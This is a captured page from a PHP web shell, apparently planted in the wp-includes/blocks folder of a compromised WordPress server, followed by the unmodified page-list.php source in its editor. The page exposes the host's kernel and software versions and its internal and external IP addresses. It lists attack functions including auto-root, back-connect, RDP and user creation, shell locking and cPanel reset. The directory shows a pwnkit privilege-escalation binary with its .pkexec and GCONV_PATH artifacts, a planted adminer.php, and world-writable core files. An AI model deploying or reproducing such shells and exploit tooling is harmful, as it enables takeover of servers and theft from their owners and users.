Linux quad-clini-stageVM 5.4.0-1109-azure #115~18.04.1-Ubuntu SMP Mon May 22 20:06:37 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 10.2.0.4 | : 3.144.89.0
Cant Read [ /etc/named.conf ]
7.4.25
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
archives
[ DIR ]
drwxrwxrwx
audio
[ DIR ]
drwxrwxrwx
avatar
[ DIR ]
drwxrwxrwx
block
[ DIR ]
drwxrwxrwx
button
[ DIR ]
drwxrwxrwx
buttons
[ DIR ]
drwxrwxrwx
calendar
[ DIR ]
drwxrwxrwx
categories
[ DIR ]
drwxrwxrwx
code
[ DIR ]
drwxrwxrwx
column
[ DIR ]
drwxrwxrwx
columns
[ DIR ]
drwxrwxrwx
comment-author-name
[ DIR ]
drwxrwxrwx
comment-content
[ DIR ]
drwxrwxrwx
comment-date
[ DIR ]
drwxrwxrwx
comment-edit-link
[ DIR ]
drwxrwxrwx
comment-reply-link
[ DIR ]
drwxrwxrwx
comment-template
[ DIR ]
drwxrwxrwx
comments
[ DIR ]
drwxrwxrwx
comments-pagination
[ DIR ]
drwxrwxrwx
comments-pagination-next
[ DIR ]
drwxrwxrwx
comments-pagination-numbers
[ DIR ]
drwxrwxrwx
comments-pagination-previous
[ DIR ]
drwxrwxrwx
comments-title
[ DIR ]
drwxrwxrwx
cover
[ DIR ]
drwxrwxrwx
embed
[ DIR ]
drwxrwxrwx
file
[ DIR ]
drwxrwxrwx
freeform
[ DIR ]
drwxrwxrwx
gallery
[ DIR ]
drwxrwxrwx
group
[ DIR ]
drwxrwxrwx
heading
[ DIR ]
drwxrwxrwx
home-link
[ DIR ]
drwxrwxrwx
html
[ DIR ]
drwxrwxrwx
image
[ DIR ]
drwxrwxrwx
latest-comments
[ DIR ]
drwxrwxrwx
latest-posts
[ DIR ]
drwxrwxrwx
legacy-widget
[ DIR ]
drwxrwxrwx
list
[ DIR ]
drwxrwxrwx
list-item
[ DIR ]
drwxrwxrwx
loginout
[ DIR ]
drwxrwxrwx
media-text
[ DIR ]
drwxrwxrwx
missing
[ DIR ]
drwxrwxrwx
more
[ DIR ]
drwxrwxrwx
navigation
[ DIR ]
drwxrwxrwx
navigation-link
[ DIR ]
drwxrwxrwx
navigation-submenu
[ DIR ]
drwxrwxrwx
nextpage
[ DIR ]
drwxrwxrwx
page-list
[ DIR ]
drwxrwxrwx
page-list-item
[ DIR ]
drwxrwxrwx
paragraph
[ DIR ]
drwxrwxrwx
pattern
[ DIR ]
drwxrwxrwx
post-author
[ DIR ]
drwxrwxrwx
post-author-biography
[ DIR ]
drwxrwxrwx
post-author-name
[ DIR ]
drwxrwxrwx
post-comments-form
[ DIR ]
drwxrwxrwx
post-content
[ DIR ]
drwxrwxrwx
post-date
[ DIR ]
drwxrwxrwx
post-excerpt
[ DIR ]
drwxrwxrwx
post-featured-image
[ DIR ]
drwxrwxrwx
post-navigation-link
[ DIR ]
drwxrwxrwx
post-template
[ DIR ]
drwxrwxrwx
post-terms
[ DIR ]
drwxrwxrwx
post-title
[ DIR ]
drwxrwxrwx
preformatted
[ DIR ]
drwxrwxrwx
pullquote
[ DIR ]
drwxrwxrwx
query
[ DIR ]
drwxrwxrwx
query-no-results
[ DIR ]
drwxrwxrwx
query-pagination
[ DIR ]
drwxrwxrwx
query-pagination-next
[ DIR ]
drwxrwxrwx
query-pagination-numbers
[ DIR ]
drwxrwxrwx
query-pagination-previous
[ DIR ]
drwxrwxrwx
query-title
[ DIR ]
drwxrwxrwx
quote
[ DIR ]
drwxrwxrwx
read-more
[ DIR ]
drwxrwxrwx
rss
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
separator
[ DIR ]
drwxrwxrwx
shortcode
[ DIR ]
drwxrwxrwx
site-logo
[ DIR ]
drwxrwxrwx
site-tagline
[ DIR ]
drwxrwxrwx
site-title
[ DIR ]
drwxrwxrwx
social-link
[ DIR ]
drwxrwxrwx
social-links
[ DIR ]
drwxrwxrwx
spacer
[ DIR ]
drwxrwxrwx
table
[ DIR ]
drwxrwxrwx
tag-cloud
[ DIR ]
drwxrwxrwx
template-part
[ DIR ]
drwxrwxrwx
term-description
[ DIR ]
drwxrwxrwx
text-columns
[ DIR ]
drwxrwxrwx
verse
[ DIR ]
drwxrwxrwx
video
[ DIR ]
drwxrwxrwx
widget-group
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
archives.php
2.89
KB
-rwxrwxrwx
avatar.php
5.31
KB
-rwxrwxrwx
block.php
1.57
KB
-rwxrwxrwx
blocks-json.php
110.42
KB
-rwxrwxrwx
calendar.php
6.03
KB
-rwxrwxrwx
categories.php
2.78
KB
-rwxrwxrwx
comment-author-name.php
2.05
KB
-rwxrwxrwx
comment-content.php
2.36
KB
-rwxrwxrwx
comment-date.php
1.56
KB
-rwxrwxrwx
comment-edit-link.php
1.64
KB
-rwxrwxrwx
comment-reply-link.php
1.99
KB
-rwxrwxrwx
comment-template.php
3.58
KB
-rwxrwxrwx
comments-pagination-next.php
1.8
KB
-rwxrwxrwx
comments-pagination-numbers.ph...
1.56
KB
-rwxrwxrwx
comments-pagination-previous.p...
1.6
KB
-rwxrwxrwx
comments-pagination.php
1.13
KB
-rwxrwxrwx
comments-title.php
2.67
KB
-rwxrwxrwx
comments.php
6.5
KB
-rwxrwxrwx
cover.php
2.43
KB
-rwxrwxrwx
file.php
1.56
KB
-rwxrwxrwx
gallery.php
4.85
KB
-rwxrwxrwx
heading.php
1.23
KB
-rwxrwxrwx
home-link.php
4.74
KB
-rwxrwxrwx
image.php
1.26
KB
-rwxrwxrwx
index.php
779
B
-rwxrwxrwx
latest-comments.php
4.88
KB
-rwxrwxrwx
latest-posts.php
7.43
KB
-rwxrwxrwx
legacy-widget.php
3.81
KB
-rwxrwxrwx
loginout.php
1.35
KB
-rwxrwxrwx
navigation-link.php
11.51
KB
-rwxrwxrwx
navigation-submenu.php
10.77
KB
-rwxrwxrwx
navigation.php
30.54
KB
-rwxrwxrwx
page-list.php
13.14
KB
-rwxrwxrwx
pattern.php
921
B
-rwxrwxrwx
post-author-biography.php
1.41
KB
-rwxrwxrwx
post-author-name.php
1.71
KB
-rwxrwxrwx
post-author.php
2.5
KB
-rwxrwxrwx
post-comments-form.php
2.68
KB
-rwxrwxrwx
post-content.php
2.28
KB
-rwxrwxrwx
post-date.php
1.96
KB
-rwxrwxrwx
post-excerpt.php
2.56
KB
-rwxrwxrwx
post-featured-image.php
7.19
KB
-rwxrwxrwx
post-navigation-link.php
4.37
KB
-rwxrwxrwx
post-template.php
4.06
KB
-rwxrwxrwx
post-terms.php
3.21
KB
-rwxrwxrwx
post-title.php
1.81
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
query-no-results.php
1.76
KB
-rwxrwxrwx
query-pagination-next.php
2.66
KB
-rwxrwxrwx
query-pagination-numbers.php
3.73
KB
-rwxrwxrwx
query-pagination-previous.php
2.12
KB
-rwxrwxrwx
query-pagination.php
1.11
KB
-rwxrwxrwx
query-title.php
2.08
KB
-rwxrwxrwx
query.php
304
B
-rwxrwxrwx
read-more.php
1.75
KB
-rwxrwxrwx
require-dynamic-blocks.php
3.74
KB
-rwxrwxrwx
require-static-blocks.php
543
B
-rwxrwxrwx
rss.php
3.83
KB
-rwxrwxrwx
search.php
19.94
KB
-rwxrwxrwx
shortcode.php
697
B
-rwxrwxrwx
site-logo.php
5.67
KB
-rwxrwxrwx
site-tagline.php
994
B
-rwxrwxrwx
site-title.php
1.73
KB
-rwxrwxrwx
social-link.php
59.56
KB
-rwxrwxrwx
tag-cloud.php
1.37
KB
-rwxrwxrwx
template-part.php
9.43
KB
-rwxrwxrwx
term-description.php
1.27
KB
-rwxrwxrwx
widget-group.php
2.12
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : page-list.php
<?php /** * Server-side rendering of the `core/pages` block. * * @package WordPress */ /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the pages markup in the front-end when it is a descendant of navigation. * * @param array $attributes Block attributes. * @param array $context Navigation block context. * @return array Colors CSS classes and inline styles. */ function block_core_page_list_build_css_colors( $attributes, $context ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', 'overlay_css_classes' => array(), 'overlay_inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $context ); $has_picked_text_color = array_key_exists( 'customTextColor', $context ); $has_custom_text_color = isset( $context['style']['color']['text'] ); // If has text color. if ( $has_custom_text_color || $has_picked_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['textColor'] ) ); } elseif ( $has_picked_text_color ) { $colors['inline_styles'] .= sprintf( 'color: %s;', $context['customTextColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $context ); $has_picked_background_color = array_key_exists( 'customBackgroundColor', $context ); $has_custom_background_color = isset( $context['style']['color']['background'] ); // If has background color. if ( $has_custom_background_color || $has_picked_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['backgroundColor'] ) ); } elseif ( $has_picked_background_color ) { $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['customBackgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] ); } // Overlay text color. $has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $context ); $has_picked_overlay_text_color = array_key_exists( 'customOverlayTextColor', $context ); // If it has a text color. if ( $has_named_overlay_text_color || $has_picked_overlay_text_color ) { $colors['overlay_css_classes'][] = 'has-text-color'; } // Give overlay colors priority, fall back to Navigation block colors, then global styles. if ( $has_named_overlay_text_color ) { $colors['overlay_css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['overlayTextColor'] ) ); } elseif ( $has_picked_overlay_text_color ) { $colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $context['customOverlayTextColor'] ); } // Overlay background colors. $has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $context ); $has_picked_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $context ); // If has background color. if ( $has_named_overlay_background_color || $has_picked_overlay_background_color ) { $colors['overlay_css_classes'][] = 'has-background'; } if ( $has_named_overlay_background_color ) { $colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['overlayBackgroundColor'] ) ); } elseif ( $has_picked_overlay_background_color ) { $colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $context['customOverlayBackgroundColor'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the pages markup in the front-end when it is a descendant of navigation. * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_page_list_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Outputs Page list markup from an array of pages with nested children. * * @param boolean $open_submenus_on_click Whether to open submenus on click instead of hover. * @param boolean $show_submenu_icons Whether to show submenu indicator icons. * @param boolean $is_navigation_child If block is a child of Navigation block. * @param array $nested_pages The array of nested pages. * @param boolean $is_nested Whether the submenu is nested or not. * @param array $active_page_ancestor_ids An array of ancestor ids for active page. * @param array $colors Color information for overlay styles. * @param integer $depth The nesting depth. * * @return string List markup. */ function block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids = array(), $colors = array(), $depth = 0 ) { if ( empty( $nested_pages ) ) { return; } $markup = ''; foreach ( (array) $nested_pages as $page ) { $css_class = $page['is_active'] ? ' current-menu-item' : ''; $aria_current = $page['is_active'] ? ' aria-current="page"' : ''; $style_attribute = ''; $css_class .= in_array( $page['page_id'], $active_page_ancestor_ids, true ) ? ' current-menu-ancestor' : ''; if ( isset( $page['children'] ) ) { $css_class .= ' has-child'; } if ( $is_navigation_child ) { $css_class .= ' wp-block-navigation-item'; if ( $open_submenus_on_click ) { $css_class .= ' open-on-click'; } elseif ( $show_submenu_icons ) { $css_class .= ' open-on-hover-click'; } } $navigation_child_content_class = $is_navigation_child ? ' wp-block-navigation-item__content' : ''; // If this is the first level of submenus, include the overlay colors. if ( ( ( 0 < $depth && ! $is_nested ) || $is_nested ) && isset( $colors['overlay_css_classes'], $colors['overlay_inline_styles'] ) ) { $css_class .= ' ' . trim( implode( ' ', $colors['overlay_css_classes'] ) ); if ( '' !== $colors['overlay_inline_styles'] ) { $style_attribute = sprintf( ' style="%s"', esc_attr( $colors['overlay_inline_styles'] ) ); } } $front_page_id = (int) get_option( 'page_on_front' ); if ( (int) $page['page_id'] === $front_page_id ) { $css_class .= ' menu-item-home'; } $title = wp_kses_post( $page['title'] ); $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $title ) ); $markup .= '<li class="wp-block-pages-list__item' . esc_attr( $css_class ) . '"' . $style_attribute . '>'; if ( isset( $page['children'] ) && $is_navigation_child && $open_submenus_on_click ) { $markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="' . esc_attr( $navigation_child_content_class ) . ' wp-block-navigation-submenu__toggle" aria-expanded="false">' . esc_html( $title ) . '</button><span class="wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon"><svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg></span>'; } else { $markup .= '<a class="wp-block-pages-list__item__link' . esc_attr( $navigation_child_content_class ) . '" href="' . esc_url( $page['link'] ) . '"' . $aria_current . '>' . $title . '</a>'; } if ( isset( $page['children'] ) ) { if ( $is_navigation_child && $show_submenu_icons && ! $open_submenus_on_click ) { $markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">'; $markup .= '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>'; $markup .= '</button>'; } $markup .= '<ul class="wp-block-navigation__submenu-container">'; $markup .= block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $page['children'], $is_nested, $active_page_ancestor_ids, $colors, $depth + 1 ); $markup .= '</ul>'; } $markup .= '</li>'; } return $markup; } /** * Outputs nested array of pages * * @param array $current_level The level being iterated through. * @param array $children The children grouped by parent post ID. * * @return array The nested array of pages. */ function block_core_page_list_nest_pages( $current_level, $children ) { if ( empty( $current_level ) ) { return; } foreach ( (array) $current_level as $key => $current ) { if ( isset( $children[ $key ] ) ) { $current_level[ $key ]['children'] = block_core_page_list_nest_pages( $children[ $key ], $children ); } } return $current_level; } /** * Renders the `core/page-list` block on server. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the page list markup. */ function render_block_core_page_list( $attributes, $content, $block ) { static $block_id = 0; ++$block_id; $parent_page_id = $attributes['parentPageID']; $is_nested = $attributes['isNested']; $all_pages = get_pages( array( 'sort_column' => 'menu_order,post_title', 'order' => 'asc', ) ); // If there are no pages, there is nothing to show. if ( empty( $all_pages ) ) { return; } $top_level_pages = array(); $pages_with_children = array(); $active_page_ancestor_ids = array(); foreach ( (array) $all_pages as $page ) { $is_active = ! empty( $page->ID ) && ( get_queried_object_id() === $page->ID ); if ( $is_active ) { $active_page_ancestor_ids = get_post_ancestors( $page->ID ); } if ( $page->post_parent ) { $pages_with_children[ $page->post_parent ][ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page->ID ), 'is_active' => $is_active, ); } else { $top_level_pages[ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page->ID ), 'is_active' => $is_active, ); } } $colors = block_core_page_list_build_css_colors( $attributes, $block->context ); $font_sizes = block_core_page_list_build_css_font_sizes( $block->context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $css_classes = trim( implode( ' ', $classes ) ); $nested_pages = block_core_page_list_nest_pages( $top_level_pages, $pages_with_children ); if ( 0 !== $parent_page_id ) { // If the parent page has no child pages, there is nothing to show. if ( ! array_key_exists( $parent_page_id, $pages_with_children ) ) { return; } $nested_pages = block_core_page_list_nest_pages( $pages_with_children[ $parent_page_id ], $pages_with_children ); } $is_navigation_child = array_key_exists( 'showSubmenuIcon', $block->context ); $open_submenus_on_click = array_key_exists( 'openSubmenusOnClick', $block->context ) ? $block->context['openSubmenusOnClick'] : false; $show_submenu_icons = array_key_exists( 'showSubmenuIcon', $block->context ) ? $block->context['showSubmenuIcon'] : false; $wrapper_markup = $is_nested ? '%2$s' : '<ul %1$s>%2$s</ul>'; $items_markup = block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids, $colors ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes, 'style' => $style_attribute, ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Registers the `core/pages` block on server. */ function register_block_core_page_list() { register_block_type_from_metadata( __DIR__ . '/page-list', array( 'render_callback' => 'render_block_core_page_list', ) ); } add_action( 'init', 'register_block_core_page_list' );
Close